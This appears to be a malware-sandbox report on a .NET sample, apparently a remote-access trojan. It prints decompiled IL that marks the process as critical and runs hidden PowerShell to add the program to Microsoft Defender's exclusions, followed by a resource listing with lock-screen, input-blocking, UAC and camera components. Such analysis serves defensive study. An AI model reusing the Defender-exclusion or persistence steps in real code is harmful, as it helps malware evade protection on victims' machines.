stsfld System.Action Program/<>c::<>9__1_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::ProcessCritical
brfalse.s IL_0206: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Defender
call System.Void processcritical::critical()
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Defender
brfalse.s IL_0284: nop
call System.Boolean wsnilkjnnа0134.jslnvryуo0135::Admin()
brfalse.s IL_0284: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
dup <null>
brtrue.s IL_0225: call System.String System.Diagnostics.ProcessModule::get_FileName()
pop <null>
ldnull <null>
br.s IL_022A: stloc.3
call System.String System.Diagnostics.ProcessModule::get_FileName()
stloc.3 <null>
ldloc.3 <null>
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_027F: leave.s IL_0284
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess '
ldloc.3 <null>
ldstr '"
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_4
ldloc.s V_4
brfalse.s IL_027F: leave.s IL_0284
ldloc.s V_4
ldc.i4 5000
call System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
leave.s IL_0284: nop
pop <null>
leave.s IL_0284: nop
nop <null>
newobj System.Void Client.Raton.SillyClient::.ctor()
stsfld Client.Raton.SillyClient Program::client
leave.s IL_02A1: ldsfld System.Action Program/<>c::<>9__1_4
stloc.s V_5
ldstr Client Init
ldloc.s V_5
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_02E2: ret
ldsfld System.Action Program/<>c::<>9__1_4
dup <null>
brtrue.s IL_02C0: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_4()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_4
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldloc.0 <null>
ldftn System.Threading.Tasks.Task Program/<>c__DisplayClass1_0::<Main>b__5()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ret <null>
1c3435ad411973d3d82f16d678c01a3d
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Properties.Resources.resources
MALG102_deluxe_billy_prop_closeup_jpg_removebg_preview
[NBF]root.Data
[NBF]root.Data-preview.png
UAC
[NBF]root.Data
[NBF]root.Data-preview.png
Z
[NBF]root.Data
[NBF]root.Data-preview.png
result
[NBF]root.Data
[NBF]root.Data-preview.png
screamer
[NBF]root.Data
[NBF]root.Data-preview.png
youtube_LOriFzhoUTA_628x480_h264
Client.Shit.Packaged.Forms.Chat.resources
$this.Icon
[NBF]root.IconData
imageList1.ImageStream
[NBF]root.Data
Client.Shit.Packaged.Forms.Games.MineSweeper.resources
Client.Shit.Packaged.Forms.InputBlock.resources
$this.Icon
[NBF]root.IconData
Client.Shit.Packaged.Forms.LockScreen.resources
$this.Icon
[NBF]root.IconData
costura.aforge.dll.compressed
costura.aforge.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.aforge.video.directshow.dll.compressed
costura.aforge.video.directshow.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
costura.aforge.video.dll.compressed
costura.aforge.video.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.dll.compressed
costura.costura.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.microsoft.win32.registry.dll.compressed
costura.microsoft.win32.registry.dll
[Authenticode]_c8796d01.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
IBC
ID:0000
ID:0
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.Microsoft.Win32.Registry.SR.resources
costura.naudio.asio.dll.compressed
costura.naudio.asio.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.core.dll.compressed
costura.naudio.core.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.dll.compressed
costura.naudio.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.midi.dll.compressed
costura.naudio.midi.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.wasapi.dll.compressed
costura.naudio.wasapi.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.winforms.dll.compressed
costura.naudio.winforms.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
NAudio.WinForms.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.WinForms.Gui.VolumeSlider.resources
costura.naudio.winmm.dll.compressed
costura.naudio.winmm.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.newtonsoft.json.dll.compressed
costura.newtonsoft.json.dll
[Authenticode]_a3656d89.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.stuff.dll.compressed
costura.stuff.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.system.buffers.dll.compressed
costura.system.buffers.dll
[Authenticode]_8c38879e.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Buffers.SR.resources
costura.system.memory.dll.compressed
costura.system.memory.dll
[Authenticode]_15ab3250.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Memory.SR.resources
costura.system.numerics.vectors.dll.compressed
costura.system.numerics.vectors.dll
[Authenticode]_ae030d4d.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Numerics.Vectors.SR.resources
costura.system.resources.extensions.dll.compressed
costura.system.resources.extensions.dll
[Authenticode]_f4f062be.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Resources.Extensions.SR.resources
ILLink.Substitutions.xml
costura.system.runtime.compilerservices.unsafe.dll.compressed
costura.system.runtime.compilerservices.unsafe.dll
[Authenticode]_2ce621b7.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.system.security.accesscontrol.dll.compressed
costura.system.security.accesscontrol.dll
[Authenticode]_d262bb6d.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Security.AccessControl.SR.resources
costura.system.security.principal.windows.dll.compressed
costura.system.security.principal.windows.dll
[Authenticode]_20569987.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
IBC
ID:0000
ID:0
RT_VERSION
ID:0001
ID:0
.Net Resources
System.Security.Principal.Windows.xml
costura.metadata
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙